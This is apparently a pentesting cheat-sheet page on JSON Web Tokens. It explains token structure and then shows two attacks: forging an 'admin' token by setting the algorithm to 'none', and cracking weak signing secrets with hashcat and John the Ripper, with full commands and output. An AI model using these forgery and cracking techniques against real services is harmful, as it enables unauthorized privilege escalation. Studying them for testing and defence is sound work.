JWT
What is JWT
JSON Web Token (JWT) is a means of representing claims to be transferred between two parties. The claims in a JWT are encoded as a JSON object that is digitally signed using JSON Web Signature (JWS) and/or encrypted using JSON Web Encryption (JWE).
JWTs can be used in any context, but are often used in a header like this:
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJh...
JSON structure
JWT can be broken down into 3 parts:
- header (base64 encoded)
- payload (base64 encoded)
- signature
Example:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c └──────────────────────────────────┘ └────────────────────────────────────────────────────────────────────────┘ └─────────────────────────────────────────┘ header payload signature { { HMACSHA256( "alg": "HS256", "sub": "1234567890", base64UrlEncode(header) + "." + "typ": "JWT" "name": "John Doe", base64UrlEncode(payload), } "iat": 1516239022 ***your-256-bit-secret*** } )
Hack JWT
Set alg to "none"
Some servers are not verifying the algorithm. Replacing it with "none" can be a way to bypass the protection and elevate privileges.
section | value | decoded |
---|---|---|
header | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 | { "alg": "HS256", "typ": "JWT" } |
payload | eyJ1c2VybmFtZSI6Imd1ZXN0In0 | { "username": "guest" } |
signature | jhdSw-nklGeRcdsjRdac15bbnucL69z0gcIzBo_dcIE |
If the server is vulnerable to this attack, you should be able to use the following token:
section | value | decoded |
---|---|---|
header | eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0K | { "alg": "none", "typ": "JWT" } |
payload | eyJ1c2VybmFtZSI6ImFkbWluIn0 | { "username": "admin" } |
signature | (Leave it empty) |
Weak secret
Hashcat
If the secret key is weak, it is possible to bruteforce it with hashcat. Let's take the following token:
section | value | decoded |
---|---|---|
header | eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9 | {"alg":"HS512","typ":"JWT"} |
payload | eyJyb2xlIjoiZ3Vlc3QifQ | {"role":"guest"} |
signature | 5QmfMsFX6yQqwl7uceDo0KT5jY35vpZtRXWHrRZjumjnb_L_HUG6vRqrx91xE5gWrClV5b-SKoMq5_hnuXltcw |
If we want to take the "admin" role instead of "guest", we need to know the secret key to be able to forge a new token. Let's try:
$ hashcat --force -a 3 -m 16500 -i --increment-min=1 --increment-max=10 eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QifQ.5QmfMsFX6yQqwl7uceDo0KT5jY35vpZtRXWHrRZjumjnb_L_HUG6vRqrx91xE5gWrClV5b-SKoMq5_hnuXltcw
[...EDITED...] eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QifQ.5QmfMsFX6yQqwl7uceDo0KT5jY35vpZtRXWHrRZjumjnb_L_HUG6vRqrx91xE5gWrClV5b-SKoMq5_hnuXltcw:maze Session..........: hashcat Status...........: Cracked Hash.Type........: JWT (JSON Web Token) Hash.Target......: eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3...uXltcw Time.Started.....: Sun Feb 16 17:34:21 2020 (0 secs) Time.Estimated...: Sun Feb 16 17:34:21 2020 (0 secs) Guess.Mask.......: ?1?2?2?2 [4] Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined Guess.Queue......: 4/10 (40.00%) Speed.#1.........: 2545.5 kH/s (12.25ms) @ Accel:128 Loops:31 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 222208/2892672 (7.68%) Rejected.........: 0/222208 (0.00%) Restore.Point....: 3072/46656 (6.58%) Restore.Sub.#1...: Salt:0 Amplifier:0-31 Iteration:0-31 Candidates.#1....: s9di -> 7bbi Started: Sun Feb 16 17:34:15 2020 Stopped: Sun Feb 16 17:34:22 2020
Now, we can go to https://jwt.io/ and forge our own token:
John the Ripper
You can also bruteforce the key with John-The-Ripper:
$ cat jwt.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTMzNywidXNlcm5hbWUiOiJhZG1pbiIsImhpbnQiOiJ0aGUgZmxhZyBpcyBGTEFHe3h4eHh4eHhfZDFjdDEwbjRyeV80dHQ0Y2t9IHdoZXJlIHh4eHh4eHggaXMgdGhlIHBhc3N3b3JkIHVzZWQgdG8gc2lnbiB0aGlzIHRva2VuIn0.dWwXygXbxXud7WVBBVNwBZwUXjsxUhwMmN8rFnRyVgE $ ./john jwt.txt --wordlist=rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x]) Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status rockyou (?) 1g 0:00:00:00 DONE (2020-05-22 12:56) 33.33g/s 546133p/s 546133c/s 546133C/s 123456..christal Use the "--show" option to display all of the cracked passwords reliably Session completed.